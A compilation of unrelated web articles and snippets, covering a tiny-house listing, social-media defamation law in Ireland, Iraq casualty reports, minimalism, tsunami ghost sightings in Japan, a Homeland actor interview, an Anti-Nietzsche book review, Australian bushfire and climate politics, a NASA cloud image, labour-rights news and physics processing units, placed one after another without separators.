If you’re interested, plans are available to purchase if you’d like to build your own. Please enjoy, learn more, and re-share below. Thank you!
204 Sq. Ft. Mountaineer Tiny Home with Rooftop Deck
More Details on this Tiny House
Luke and Tina (husband and wife) designed this tiny house themselves.
They’re both engineers so they made the plans and hired a contractor to build it.
The tiny house can function completely off-grid because it has solar, composting, rainwater harvesting, and propane.
They live on a 40 acre farm on the foothills of Mt. Hood.
The house features hide-away space savers like a dining room table, coffee table, chairs, doors, drying rack, and storage that can’t be seen.
There’s a walk-able and waterproof roof deck that has access via a small hobbit door from the bedroom loft!
The house features live edge redwood slabs and 12″ redwood panels all around.
This tiny home has a mountaineering look and feel which is why there’s a large gear cabinet! It houses all of their outdoor gear easily.
Resources
Interested in buying the plans? Visit http://www.backcountrytinyhomes.com/
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So is this the start of a new legal regime for social media users?
In terms of defamation law, there has been no change. The law has never distinguished between a defamatory comment made online or in print: both are equally unlawful.
However, the case does highlight the increasing extent to which complaints about social media posts will now be pursued through the courts and how seriously courts will view them.
In earlier years, practical difficulties in taking online defamation claims meant they were often not pursued. There was also the view, wrongly, that the usual rules didn’t apply online and in social media. As a result, people posting on social media often felt they were doing so with impunity.
Rising tide
It was as recently as 2010 that the first reported payment of damages for a blog arose, when a blogger apologised and reportedly agreed to pay €100,000 to a senior civil servant and his partner for defamatory comments.
Last January, Independent MEP Luke Ming Flanagan apologised in court for a comment he had posted on his Facebook page about a Fianna Fáil politician. Details of the settlement were not disclosed.
In England, Lord McAlpine took libel actions against a number of Twitter users in 2012, including comedian Alan Davies and Sally Bercow, wife of the speaker of the House of Commons. In both cases McAlpine was paid damages and received an apology.
Reckless retweets
The legal risk for social media postings is not just defamation. Posts about ongoing legal proceedings run the risk of contempt of court.
Dominic Grieve, attorney general at the time in the UK, issued a number of warnings to Facebook and Twitter users in 2013 about contempt of court and issued advisory notes to prevent social media users from committing contempt. The same risk of contempt of court applies here.
Thursday’s case in Monaghan shows that courts in Ireland will certainly take a serious view of social media postings.
The decision of Judge O’Hagan to award the maximum damages allowable under the Circuit Court jurisdiction marks the seriousness with which he viewed the damage caused to the plaintiff in the case.
His warning to be careful when posting social media messages is salutary. The view that one can comment online with impunity is simply wrong. Those who comment do so at their peril.
At least 1,139 civilians were killed or found deceased. Another 88 of the fatalities belonged to security personnel. Militants accounted for 1,007 deaths. Two U.S. servicemembers were also killed. As for wounded, at least 270 civilians, 101 security personnel, and 10 militants suffered injuries. These figures include casualties that occurred due to hostilities between Iraq and Kurdistan.
In Turkey’s fight against the Kurdistan Workers’ Party (P.K.K.), 11 Turkish soldiers were killed, and three were wounded. About 119 guerrillas were killed.
These figures are estimates, possibly extremely low ones. The Iraqi government does not release casualty numbers.
At least 47 more people were killed, and 12 were wounded in recent violence:
In Rawah, 25 people were killed when they set off booby-traps as they returned to their homes.
One person was killed and seven were wounded in a blast in Madaen.
A bomb killed a Sahwa member in Latifiya.
An oil company employee was shot dead in Mosul.
In Baghdad, a bomb wounded three people.
Gunmen wounded two people in Daquq.
Fifteen militants were killed in an airstrike in Anbar province.
In Abu Seif, four militants were killed.
Is minimalism all it’s cracked up to be, or is there a downside?
How you approach any lifestyle change will dictate the outcome. With minimalism, I think there a few good examples of upside/downside.
Upside: Kill your TV and free up several hours a day. Downside: Spend all your new free time on Hulu, Netflix or Facebook.
Kill your TV and free up several hours a day. Spend all your new free time on Hulu, Netflix or Facebook. Upside: Count your stuff as a tool to declutter. Downside: Become obsessed with counting your stuff.
Count your stuff as a tool to declutter. Become obsessed with counting your stuff. Upside: Spend time online developing your microbusiness. Downside: Forget to unplug.
Spend time online developing your microbusiness. Forget to unplug. Upside: More virtual connections Downside: Loneliness.
More virtual connections Loneliness. Upside: Confidence in living with less. Downside: Arrogance in living with less.
Advice From the Experts – Part Three
What is the downside of minimalism?
People might think you’re weird at first. It takes time to educate your friends and family about why you’re doing things this way, and it takes a little courage to be different. It’s totally worth it. Leo Babauta of mnmlist.com
There are certain pernicious aspects at the fringe of any important movement, and minimalism is no different. If you obsess over counting your things or about getting rid of all of your stuff or about living an extreme nomadic lifestyle, then you’re missing the point of minimalism altogether. Not that it’s wrong to count your stuff or to travel the world, it’s just that minimalism isn’t about that stuff, it’s not about counting or “leaving it all behind,” and it’s certainly not about obsession. Minimalism is simply a tool to get of life’s excess so you can focus on life’s important things, things like relationships and pursuing your passions and personal growth and contributing to others in a meaningful way. Joshua from The Minimalists
As far as I can see, no, there isn’t, but I am pretty new to this! 🙂 Maybe the inevitable fact some people don’t understand this path and the related choices, but this is not so tragic. Laura of minimoblog.it
I think people can get too caught up in counting numbers of items, paring down below what’s their comfort point, and they lose site of why they started the minimalist journey in the first place. Balance is key! Robyn Devine of Minimalist Knitter
There are few if any downsides to minimalism, but sometimes it’s difficult to explain it to people who have closed minds. Sometimes people just don’t want to understand minimalism, they see what we’re doing and they just want to argue or dismiss it as a fad. Most of those people are very attached to their things, and they are afraid to stop consuming because they associate a certain meaningfulness with their consumption, they are too attached to an ideology that their stuff brings them happiness. Thankfully, over time, minimalism reveals all of its advantages on its own. So if you’re patient with those people, their minds will open, and they will understand eventually. Ryan from The Minimalists
It’s a very self-revealing process and lifestyle. Once we begin to remove the distraction and clutter from our life, our minds are clear to dig deeper into our own heart and soul. It can be difficult at first as we are forced to consider our motives for collecting all this stuff in the first place, but it is a good process to good through. It makes us better people in the end. Joshua Becker of Becoming Minimalist
It has been challenging to talk to family and friends about our choice to own fewer things. Often people feel that our different lifestyle choice is a direct comment on their own. To keep conversations light, I always say this works for us but it’s not for everyone. The truth is that I feel that some degree of minimalism, downsizing and rejecting consumerism is beneficial for everyone. Rachel Jonat of Minimalist Mom
What I’ve found difficult is that many people react positively — “Minimalism sounds great! I should do that.” — but then they stay stuck in stuff. There’s a bit of burden, championing a cause you know will improve people’s lives, if only they would just join in. Of course, this is a hope-filled downside. Anyone can start at any time. And people do! That’s one motivation that keeps me sharing a life of simple living with others. Dave Bruno from A Guy Named Dave
None! I honestly can’t think of anything. Meg Wolfe of Minimalist Woman
Fifty-six-year-old exorcist Kansho Aizawa (R) holds a spiritual cleansing ritual for a woman at a temporary house in Higashimatsushima, Miyagi prefecture, February 21, 2013, ahead of the second-year anniversary of the March 11, 2011 earthquake and tsunami. REUTERS/Chris Meyers
In a society wary of admitting to mental problems, many are turning to exorcists for help.
Tales of spectral figures lined up at shops where now there is only rubble are what psychiatrists say is a reaction to fear after the March 11, 2011, disaster in which nearly 19,000 people were killed.
“The places where people say they see ghosts are largely those areas completely swept away by the tsunami,” said Keizo Hara, a psychiatrist in the city of Ishinomaki, one of the areas worst-hit by the waves touched off by an offshore earthquake.
“We think phenomena like ghost sightings are perhaps a mental projection of the terror and worries associated with those places.”
Hara said post-traumatic stress disorder (PTSD) might only now be emerging in many people, and the country could be facing a wave of stress-related problems.
“It will take time for PTSD to emerge for many people in temporary housing for whom nothing has changed since the quake,” he said.
Shinichi Yamada escaped the waves that destroyed his home and later salvaged two Buddhist statues from the wreckage. But when he brought them back to the temporary housing where he lived, he said strange things began to happen.
His two children suddenly got sick and an inexplicable chill seemed to follow the family through the house, he said.
“A couple of times when I was lying in bed, I felt something walking across me, stepping across my chest,” Yamada told Reuters.
Many people in Japan hold on to ancient superstitions despite its ultra-modern image.
Yamada, like many other people in the area, turned to exorcist Kansho Aizawa for help.
Aizawa, 56, dressed in a black sweater and trousers and with dangling pearl earrings, said in an interview in her home that she had seen numerous ghosts.
“There are headless ghosts, and some missing hands or legs. Others are completely cut in half,” she said. “People were killed in so many different ways during the disaster and they were left like that in limbo. So it takes a heavy toll on us, we see them as they were when they died.”
In some places destroyed by the tsunami, people have reported seeing ghostly apparitions queuing outside supermarkets which are now only rubble. Taxi drivers said they avoided the worst-hit districts for fear of picking up phantom passengers.
“At first, people came here wanting to find the bodies of their family members. Then they wanted to find out exactly how that person died, and if their spirit was at peace,” Aizawa said.
As time passed, people’s requests changed.
“They’ve started wanting to transmit their own messages to the dead,” Aizawa said.
* Mechanics And Footwork Need Some Tuning
* Just a little small (height and frame) from ideal
One Foot Syndrome (Too often overthrows the ball about a foot)
2) Another thing that I love about Griffin is that his big play performances, as well as his NFL performances have increased. Statistically speaking there aren't many players that didn't produce 300+ yards in a game that can step into the league and start doing it.
3) How could you not be impressed by the low number of interceptions that he has thrown? Griffin just doesn't throw dumb balls that cause turnovers, and with a 5:1 TD to INT ratio for his career there are few teams that will look at him as someone that just puts up stats.
Any lingering doubts over the motives of Miranda Otto's Homeland character were likely cleared up during Sunday's episode. "Our Man in Damascus" set the wheels in motion for the fifth-season finale and showed the lengths Allison is willing to reach to cover her own tail.
Since the big reveal that Allison has been playing both sides, a semi-reluctant informant for the Russians while serving as CIA station chief in Berlin, she's at least appeared to be somewhat conflicted by her actions. Not so much anymore. "Damascus," which also showed Quinn (Rupert Friend) on death's door after his Sarin poisoning and a massive terror attack about to take place in a German train station, ended with Allison taking out a source and her own CIA handler before turning the gun on herself to keep from looking like the culprit.
Otto, a new addition to Homeland's fifth season, spoke with The Hollywood Reporter about her character coming full circle in the scene and what it says about her — among many other things.
Was the part of Allison pitched to you as "spy who flirts with Mandy Patinkin" or "double agent?"
I went in with a few scenes to do, but they hadn't really told me anything going in. Before I started shooting, I knew that Allison was having an affair with Saul and that she was a double agent, but I assumed that wouldn't come out until the end of her arc. Everything in this show moves so fast. I think it was by the end of the third episode you see that she's with Saul. I thought it was a secret I was going to have to carry for some time.
Homeland tends to burn through story very quickly.
You get the scripts for every episode, and you really don't know what they're going to do. I kept waiting for her to end up getting arrested and have to spend the rest of the season filming from inside a jail cell. They managed to keep her going. She keeps coming up with so many ways of getting out of things. She's teflon.
Most audiences probably wouldn't associate you with playing a villain. How enticing was that part of the role for you?
That was a lot of fun. Along the way, I was questioning where they were going with her. Is she trapped in this situation, with some guilt about it, or is she a sociopath? We've looked at her from both sides, but this episode seemed to be pretty definitive in the end. Someone asked me at the start of the season if Allison was a patriot. I didn't want to spoil anything, so I said, "Yes." But, at the end of the day, I'm pretty sure her number one concern is herself.
The double-homicide makes that pretty clear.
We shot it a few different ways, in terms of what's going on in her head at that point, but I haven't seen the one they chose yet. So I'm not sure how it plays. But when I read it, I was so excited. It seems very unexpected. I thought they set it up so well, with Conrad [Morocco Omari], because he was so nice — and really the only supporter of hers. Dar [ F. Murray Abraham] is on the fence, but he's skeptical.
In five seasons, Saul hasn't cracked the way he did during that interrogation when he started choking Allison. What was it like being on the wrong end of Mandy Patinkin's rage?
He can do anything. The point that he had to get to in that scene, he can just do it. It's wonderful to watch. We had to do a lot of takes, and I have to say that my bounce-back time was getting longer and longer as the day went on. It was quite intense, but I was really pleased with how that scene came out — especially for his character. You never see that side of Saul, because he's so wise and thoughtful... to see him pushed to that point by this woman. The terrorists in the show are really terrible, but the idea of betrayal within seems like the worst thing that could happen. Terrorists are driven by belief, but that's not where it's coming from with Allison.
What did they ask you to do to research the part?
One of the first things I asked Alex [Gansa] when I got the role was how to catch up. Everyone on this show knows this world so well, it's incredibly well-researched. So they put me in touch with one of their advisers, who worked at the CIA, so I spoke to him at length. That was one of the more exciting things about this job, getting a real insight into this world — what goes on and how things are dealt with. You can read novels and watch the news, but to actually talk to someone like that, who's been in those situations, that's fascinating.
Has the show changed the way you absorb current events?
When I was in Germany, the only English-language channels I had on my TV were CNN and BBC World. So I was doing these scenes during the day, coming home and turning on the TV, and it was exactly what we were talking about all day... chemical weapons and refugees. The night of the Paris attacks was horrific. We were very close. It was a very weird time. We were in Berlin until the end of November. The turnaround of the show is so fast. The last two episodes, I don't know how they did it.
What was the most difficult part of filming in Berlin for all those months?
Bar the occasional remix, Boards Of Canada – never known for their hyper-productivity – haven’t released any music since 2006’s Trans Canada Highway EP. Those hankering for their next hit of superlative pastoral electronica may not have long to wait. On his Saturday morning show for 6Music earlier this month, Peter Serafinowicz hinted that the band would be releasing a new record in 2012. The 2020k blog has helpfully transcribed Serafinowicz’s announcement:
“I’m gonna play some Board of Canada now. I’m a bit of a Boards of Canada evangelist. They’re my favorite band, I think. Maybe them and The Beatles. But, they are a band, again, a bit like The Fall. It’s like once you get into them, or rather, once something clicks you just wanna hear everything they’ve released…They’ve got a new album coming out soon and I think it’s gonna be a double album and I’m so excited, I really am-to hear their new one”
Caffeine is a first-person psychological horror game where you play as a young boy aboard a caffeine mining station. The rest of the crew has seemingly vanished and, with no memory, you begin to search the station for clues as to what may have transpired. The year is 2097, the Earth is over-populated and resource starved. With caffeine being the worlds most used drug, companies created countless outposts in order to mine the resources needed to quench the populations thirst.
Primarily Caffeine is a Sci-Fi horror game, but also employs a strong focus on adventure and narrative. There is a great deal of lore scattered through the world of Caffeine in the form of audio logs, notes, as well as clues to what might’ve happened on the station. There will be no weapons in the game, which might be reminiscent of games like Amnesia, however you will be able to use the environment around you in some way that might make up for it. Taking inspiration from titles such as Doom 3, Condemned, and Fear 2, the game will employ a chilling, often times unsettling environment. That accompanied by stunning visuals and an interesting storyline should make for an eerie yet beautiful experience. On the topic of graphics, Caffeine will be running on the brand new Unreal Engine 4 which should allow visual fidelity to be pushed even further while enhancing gameplay all the same.
Caffeine is currently being crowdfunded over at indiegogo, so if you want to support this project while it is still in the early stages there are numerous perks available for donations. Caffeine is being developed for Windows at the moment, though the developer has stated that Mac support may be possible depending on funding. With $80,000 AUD as the goal, Browne is hoping to deliver a quality game in early 2015. As the crowdfunding has only just begun there will surely be more development updates and news so be sure to stay tuned.
Mr. Rosen has lived long enough to see New York City fill with fine restaurants. In a city of foodies, he may be the oldest.
Call it payback for the meager meals he ate growing up in Russia, where as a boy, he recalled, he marched with protesters during the Russian Revolution. He and his family fled the pogroms, came through Ellis Island and moved into a railroad apartment on Pitt Street on the Lower East Side. By the time he was 11, young Harry’s meals improved to pickled herring sold from barrels on the street, and he worked as a delivery boy for pennies before taking a job at an office supply company.
“I knew it was the business for me, the same way you know you’re in love with a woman,” Mr. Rosen said. He started Radio Center Stationery in Midtown — back then, “you could look down Sixth Avenue and not see a single office building” — whose staff of 50 included his sons, Stan and Jerry. They regularly join him for dinner.
The deals to land clients like Walt Disney, ABC and the Hearst Corporation were made in top restaurants, Mr. Rosen said. You don’t win over the likes of Jack Linsky, the founder of Swingline staplers, by dining at dumps.
But as much as any fine meal, Mr. Rosen savors the memories of his deal making, including landing J. C. Penney with a great price on notepads, and fighting back from bankruptcy as computers encroached upon the industry.
On Wednesday, he backed up these recollections with photos and documents stored meticulously in folder boxes in his apartment.
Although he wants to present opposition from within Nietzsche's own line of argument, perhaps the most intriguing aspect of Bull's position is his requirement that we radically reshape our habits when it comes to reading Nietzsche. Bull wants to rely upon Nietzschean arguments, but he also wants us to take up a skeptical distance from the rhetorical aspects of Nietzsche's writings. According to Bull, the persuasive power of Nietzsche's work lies in its exploitation of the reader's tendency to 'read for victory'. One might think that Nietzsche's characterisation of his work as intended for a select group, possessed of rare and hard-won capabilities should result in the majority of readers positioning themselves as lying outside this group. However, Bull argues that its actual effect is to the contrary. The majority of readers tend towards identification with the victors. This is partly because of the 'imaginative liberation from all the social, moral and economic constraints' that such identification grants, and partly because 'identification with 'the rest' involves reading one's way through many pages of abuse directed at people like oneself.' (31) Nietzsche presents us with a choice between reading in a manner that offers the feeling of power and satisfaction, and reading in a manner that will instill a feeling of powerlessness and vulnerability.
Bull invites us to take the second path, and to read, as he puts it, 'like losers'. Rather than being exhilarated by participating in the work of the masters, we are to take ourselves as the victims of the text. This does not mean looking to undermine Nietzsche's arguments. 'In order to read like a loser you have to accept the argument, but turn the consequences against yourself.' (37) From such a perspective, those prospects that strike Nietzsche with horror appear attractive. Whereas to those that are seeking mastery and aesthetic distinctiveness the prospect of a society of undifferentiated equals would amount to the lamentable eradication of value, the loser perceives such a vision of the future as 'offering a welcome respite from a cruel predator'. (43) Reading like a loser is, for Bull, a way of evading the charge that one is operating with the 'ressentiment' of the weak. It is not a means to achieve power by subterfuge, but a deliberate effort to divest oneself of power, to grow weaker. As such, reading like a loser is, for Bull, a strategic refusal of the feeling of expansiveness and power that Nietzsche aims to affect in us when we read his texts. More positively, this strategy is recommended in order to push the trajectory of nihilism beyond the point at which Nietzsche seeks to complete it.
On Bull's account Nietzsche's completion of nihilism leads us to what the former labels a 'positive ecology of value'. The history of nihilism, as Bull outlines in chapter three, is the history of the progressive undermining of value (moral, religious etc.) that culminates in the recognition that only valuation is itself of value. The history of nihilism reveals that 'the one irreducible value was therefore the value of valuation.' (45) If the final consequence of nihilism is that the only value is valuation itself, then politics is not to reflect the belief in any particular value; it is a matter of developing the right hierarchical interrelations between groups that would facilitate the flourishing of those capable of positing values. Thus, 'a positive ecology of value is one that provides the conditions for the preservation and enhancement of a new aristocracy'. (71) Of course, under such a view, exploitation is absolutely indispensable. The 'new aristocracy' exploit the undifferentiated mass of others, just as 'the sun-seeking, Javanese climbing plant' uses the oak on which it grows to climb until the point that it 'will be able to unfold its highest crown of foliage and show its happiness in the full, clear light.'[1]
For the purposes of his argument, Bull largely accepts, though expands upon, Nietzsche's analysis of nihilism and the requirement to think ecologically about value. However, Bull departs from Nietzsche in claiming that the value of such a positive ecology is itself open to question. 'Although value might ultimately be ecological, it does not follow that its ecology is valuable.' (47) Bull's anti-Nietzscheanism might be summarized as the rejection of the view that a positive ecology is valuable. Succinctly put, Bull invites us to accept Nietzsche's analysis and simply to go the other way. Why not embrace the conditions under which valuation is minimized? Here we can see the 'countermove' to Nietzsche emerge.
Rather than a positive ecology of value, which creates the possibility for conditions of valuation, there might be a negative ecology -- an ecology that minimizes the possibilities for the positing of value and so reduces the quantum of value still further. (47)
Such a move is anti-Nietzschean because although a positive ecology demands that some belong to the mass of those incapable of value creation, it also requires that the number of those belonging to that mass should not exceed the numbers required to serve the 'supermen-aesthetes'. (47) Bull's proposal is that we might endorse a negative ecology that aims at extending, without limit, the mass of those incapable of valuation.
As Bull acknowledges, by pursuing this possibility, he is effectively arguing that Nietzsche does not complete nihilism in arriving at a positive ecology of value. Nietzsche overlooks the possibility of a continuation of nihilism, at the ecological level, as the progressive undermining of the capacity for valuation itself. But if valuation is, for Nietzsche, a distinctively human capacity (even if it is unequally distributed), Bull's project amounts to a call to 'subhumanism'. Indeed, Bull invites us to consider the 'new possibilities' opened up by a turn towards 'subhuman sociality' (43). Furthermore, becoming subhuman means becoming a philistine, entirely unreceptive to aesthetic value. Here we see why Bull's thesis is counter-cultural, not just anti-Nietzschean. As argued throughout the book, our intellectual culture shares in Nietzsche's belief in the value of the aesthetic. The latter persists as the one domain of value that has been spared from the 'history of negation'. That this is the case is evidenced, for Bull, by the absence of self-identified philistines. Though the term 'philistine' exists as a term of abuse (as, for example, 'atheism' once did) there are few, if any, self-professed philistines. This shows that 'the aesthetic is assumed to be a shared social value and that being a philistine remains a potential embarrassment.' (13) What Bull proposes is nothing short of our taking the final step in the history of negation by self-consciously taking up the standpoint of the philistine.
No doubt Bull's Anti-Nietzsche does present an arresting possibility for consideration as well as providing a helpful study of some the most difficult and notorious aspects of Nietzsche's thought. Bull's treatment of Nietzsche on nihilism, value and weakness of will are particularly worthy of commendation. The breadth and depth of Bull's scholarship are also incredibly impressive. In expanding his argument, Bull marshals an astounding array of figures from across the humanities and social sciences.
Despite Mr Abbott's comments and her conversation with Mr Hunt, Ms Figueres stood by her assessment, pointing in a statement to a UN scientific panel's finding that decisive action was needed to avert more frequent and extreme weather events in coming decades. "The meaningful way to solve this crisis is to put a price on carbon. And in Australia's case to keep a price on carbon": Al Gore. Credit:Getty Images ''Climate change is known to alter the likelihood of increased wildfire sizes and frequencies,'' she said in the statement, issued after she spoke with Mr Hunt. Combined with more stress on trees ''this suggests an increasing likelihood of more prevalent fire disturbances, as has recently been observed'', she said, quoting a 2007 report by the UN panel. Illustration: Ron Tandberg.
Mr Hunt on Thursday said that during their conversation, Ms Figureres indicated ''very clearly and strongly'' that there wasn't evidence the fires ravaging parts of NSW were caused by climate change. ''She felt that that had been misrepresented,'' Mr Hunt told BBC radio. Fires are a natural occurrence: Al Gore recognises local climate conditions, but warns under climate change they are exacerbated. Credit:Peter Stoop Wildfires become more pervasive and dangerous Mr Hunt said he ''looked up what Wikipedia'' said about bushfires and it was clear they were frequent events that had occurred during hotter months in Australia since before European settlement.
An unknown person on Thursday updated the Minister’s Wikipedia page to note that he "was quoted as saying he uses Wikipedia for important policy research". Wikipedia later posted a message saying that editing of Mr Hunt's page had been disabled for new or unregistered users due to vandalism. Addressing Ms Figueres' intitial comments on Wednesday, Mr Abbott said ''fire is a part of the Australian experience''. ''Climate change is real and we should take strong action against it,'' he continued. ''But these fires are certainly not a function of climate change - they're just a function of life in Australia,'' he told Fairfax Radio. 'I'm merely quoting your PM' Mr Hunt became angry during his appearance on the BBC World Service after the interviewer pressed him on whether the Coalition accepted the science around climate change - referring to reports that Mr Abbott referred to the science as ''absolute crap'' in 2009.
''In Parliament our Prime Minister has expressed clear support for the science,'' Mr Hunt replied, before the interview pressed him again. ''So [Mr Abbott] no longer thinks its absolute crap?'' ''Look, with great respect, you can swear on international radio, you can invite me from Australia to do this, you can be profoundly rude, I'm happy to answer but I'm not going to be sworn at.'' ''Mr Hunt, I'm merely quoting your Prime Minister,'' the interviewer protested. The Environment Minister replied that she was taking a private conversation out of context. He later added that the Coalition had taken ''science off the table'' when it came to climate change.
''We're not debating it,'' he said. Since reports of Mr Abbott's use of the term ''crap'', Mr Abbott has said that it was not his considered position on the subject. While Mr Hunt was emphatic that the Coalition accepted there was a need for action on climate change, he was less definite when asked if he accepted that there was a potential ''causal'' relationship between rising temperatures and bushfires. ''By definition, bushfires happen in hot weather,'' he said. ''I think we've all got to be very careful, in talking with the senior people at the Bureau of Meteorology, for example, they always emphasise, never trying to link any particular event to climate change.''
Asked about Mr Hunt's BBC interview, the chief executive of The Climate Institute, John Connor, said the Environment Minister was stating the obvious when saying that "Wikipedia showed that there [were] fires in Australia". "That's something that we do know," Mr Connor told Fairfax Media. "But what we also do know is the data is clear, the forest fire danger index has been increasing... and particularly in spring and autumn, which means that the fire weather season has been extending. "And all of the projections for climate change and for global warming, is that they will increase and increase exponentially." Mr Connor criticised Tony Abbott for saying the UN's head of climate change negotiations was "talking through her hat" by linking climate change to bushfires.
"I think with the greatest respect the Prime Minister's caught a bit straddling the carbon barbed-wire fence here in Australia," Mr Connor said. "On one hand, it should be acknowledged, [Abbott is] accepting that climate change is real, but on the other hand not looking at the risks and not looking at the projections of the fire danger."I don't think the Prime Minister can have it both ways." Gore pleads for action Speaking on 7.30 on Wednesday night, Mr Gore said the Abbott government shouldn't bend to the will of ''special interests'' groups, which dismiss climate science evidence. ''It reminds me of politicians here in the United States who got a lot of support from the tobacco companies and who argued to the public that there was absolutely no connection between smoking cigarettes and lung cancer,'' Mr Gore said.
''For 40 years tobacco companies were able to persuade compliant politicians within their grip to tell the public what they wanted them to tell them.'' While Mr Gore, a Nobel Prize-winning climate change activist, did accept bushfires were natural occurrences, he said they would be much worse in a world with high temperatures, dried out soil and vegetation. ''Wildfires become more pervasive and dangerous,'' he said. He also criticised the Abbott government's decision to scrap the carbon tax and replace it with the ''direct action'' carbon abatement policy. ''The meaningful way to solve this crisis is to put a price on carbon. And in Australia's case to keep a price on carbon. The price needs to be at a level that's effective,'' he said.
Mr Hunt said that he accepted the science of climate change and need for action, but the Bureau of Meteorology had warned against making any direct link between global warming and natural disasters. In April the government's own Climate Commission, using research from CSIRO and BoM, warned climate change was already increasing the intensity and frequency of extreme weather. The commission, abolished by the Abbott government last month, said there was a high risk these extreme events would worsen in coming decades and Australia was particularly susceptible. Loading The latest major report from the UN’s Intergovernmental Panel on Climate Change (IPCC) also warned that allowing global temperatures to rise above two degrees risked more extreme weather events.
with Jonathan Swan, AAP and Reuters
On May 21, 2015, the Moderate Resolution Imaging Spectroradiometer (MODIS) on NASA’s Aqua satellite acquired this natural-color image of cirrus clouds that formed off the coast of Chile. They are relatively thin and wispy and run diagonally across the image.
“These clouds might not be all that unusual, but certainly the image is striking,” said NASA atmospheric scientist Tony Del Genio.
According to NASA atmospheric scientist Patrick Minnis, the clouds likely formed at high altitudes along the jet stream. Relatively moist, lower-level air is pulled into the upper layers, where it then cools and forms cirrus ice crystals. The cirrus then spread out and form the diverging plumes visible throughout most of the image. The cloud tops reach up to about 13 kilometers (43,000 feet) and the winds are well over 100 miles per hour, Minnis said.
NASA scientist Ann Fridlind noted: “These cirrus clouds could be a dense configuration of the classic mares’ tails formation,” which fan out into a shape that resembles horses’ tails. In this case the spread could be caused by clear-air turbulence or by wind shear.
Minnis thinks the clouds could be cirrus fibratus or cirrus radiatus. “Most clouds are classified by what they look like from below, making it difficult to identify them from satellite using the classic system,” he said. “From below, the big fans might appear to be cirrostratus.”
In contrast to the high-altitude cirrus clouds, a deck of low-altitude stratocumulus is visible in the upper right corner of the image. This cloud type is typical off the west coasts of continents, particularly Chile. But they also occur off the coast of California, Namibia, and to a lesser extent off the coast of Portugal and western Australia.
According to Del Genio, stratocumulus clouds form at low levels over relatively cool ocean water, in a region where the air above is gently descending. The descent dries the higher-altitude air and prevents clouds from forming there, and produces a temperature inversion about a kilometer above the surface. Near the surface, water evaporates from the ocean and gets mixed upward by turbulence. It reaches the inversion—which puts a lid on further ascent—and the air cools and saturates, forming the cloud deck.
The holes visible in some parts of this deck are pockets of “open cells” that may occur when drizzle forms or for reasons having to do with aerosols, Del Genio said. “There is not yet good understanding of what makes these pockets of open cells.”
Protesters rally for an increase in the minimum wage on the Great Western Staircase at the Capitol on Tuesday, June 17, 2014, in Albany, New York. (Photo by Mike Groll/AP)
Today’s economy doesn’t contain a lot of good news for working people. While the Great Recession officially ended five years ago, millions of Americans are still out of work and wages continue to lag. Yet this week, working people made some hugely significant gains as the fruits sowed by organizing efforts, lawsuits, legislative action — and above all, workers standing up for themselves despite tremendous risk — began to be visible.
The week’s most important victory came in a Tuesday ruling by the National Labor Relations Board which found that McDonald’s is a “joint employer” of workers at its franchised restaurants. The NLRB rightly ruled that company so closely controls and oversees its franchisees that the McDonald’s corporation, together with the franchisees, can now be held accountable for practices that violate employees’ rights. Former NLRB chairwoman Wilma Liebman was quoted in The New York Times explaining that the decision could give fast-food workers leverage to organize unions and raise wages at McDonald’s restaurants nationwide.
The upshot? Fast food workers are a big step closer to winning $15 and a union they have repeatedly gone on strike to attain. And they are energized to win the fight: at their first-ever national convention last weekend, fast food workers vowed to intensify their efforts through non-violent civil disobedience. After all, it’s clear that fast food giants like McDonald’s can well afford to pay workers more. In fact, research by my Demos colleague Catherine Ruetschlin shows that poverty wages and sky-high pay packages for executives at McDonald’s and other fast-food corporations have combined to destabilize the companies to such an extent that investors should be concerned.
Workers could also see big gains from two bills being introduced in Congress. On Wednesday, Representative Keith Ellison will introduce a bill making it easier for workers to independently take legal action against companies that violate their right to organize, without going through a slow, prolonged process with the NLRB. As it stands now, employers frequently retaliate against workers who try to form unions with impunity, illegally terminating workers in as many as one in three union elections with little consequence. Moving the process to the civil court system could speed up cases and raise penalties, giving employers greater incentives to respect workers’ legal right to organize.
Meanwhile last Wednesday, Sens. Tom Harkin and Elizabeth Warren joined Reps. George Miller and Rosa DeLauro to introduce the Schedules that Work Act, which would address the unpredictable and unstable schedules that leave many workers scrambling. The bill would mandate that employees in some industries receive schedules in advance, be paid for at least four hours on a shift, and protect workers from retaliation if they request more flexible, predictable or stable schedule from their employer. A recent Demos study examined the particularly harmful impact of emerging scheduling practices for women in the retail industry.
There is also a path for President Obama to advance workers’ rights without relying on Congress. Last week, the House Progressive Caucus sent a letter to the president calling on him to build on his executive order raising wages for contract workers by signing a new Good Jobs Executive Order. This measure would crack down on frequently unenforced violations of labor rights by federal contractors; provide a preference in contracting decisions for employers that pay a living wage and offer other basic benefits; and provide a preference in contracting decisions for employers that respect the right of their workers to collectively bargain. My colleagues Robert Hiltonsmith and Lew Daly find that using federal purchasing power in this way could improve the living standards of over 20 million Americans. This Tuesday morning workers in federal buildings in Washington, DC, walked out on strike demanding an executive order.
Additionally, this has been a big week for pro-worker legislation at the local level. San Francisco introduced a Retail Workers Bill of Rights to address the unstable schedules that make it difficult for retail workers to earn a living and plan for basic needs like child care. The city councils of San Diego, CA, and Eugene, OR, approved measures to guarantee workers paid sick days. If the bills become law, it would mean that more than 300,000 additional workers gain the right to take up to five paid sick days a year, according to the National Partnership for Women and Families. Meanwhile, workers in New York City can start using sick time they have earned starting July 30. New York’s law extended sick leave to an estimated 1.2 million working people who previously had no access to paid time off the job to recover from illness.
Throughout the economy, job growth has been picking up and long-term unemployment is finally beginning to fall, while 10 million previously uninsured Americans now have health coverage — the benefits of an older legislative fight that could still be stripped away all too easily.
Examples of calculations involving a PPU might include rigid body dynamics, soft body dynamics, collision detection, fluid dynamics, hair and clothing simulation, finite element analysis, and fracturing of objects.
The idea is that specialized processors offload time consuming tasks from a computer's CPU, much like how a GPU performs graphics operations in the main CPU's place. The term was coined by Ageia to describe its PhysX chip. Several other technologies in the CPU-GPU spectrum have some features in common with it, although Ageia's product was the only complete one designed, marketed, supported, and placed within a system exclusively as a PPU.
History [ edit ]
An early academic PPU research project[1][2] named SPARTA (Simulation of Physics on A Real-Time Architecture) was carried out at Penn State[3] and University of Georgia. This was a simple FPGA based PPU that was limited to two dimensions. This project was extended into a considerably more advanced ASIC-based system named HELLAS.
February 2006 saw the release of the first dedicated PPU PhysX from Ageia (later merged into nVidia). The unit is most effective in accelerating particle systems, with only a small performance improvement measured for rigid body physics.[4] The Ageia PPU is documented in depth in their US patent application #20050075849.[5] Nvidia/Ageia no longer produces PPUs and hardware acceleration for physics processing is now supported through some of their graphics processing units.
AGEIA PhysX [ edit ]
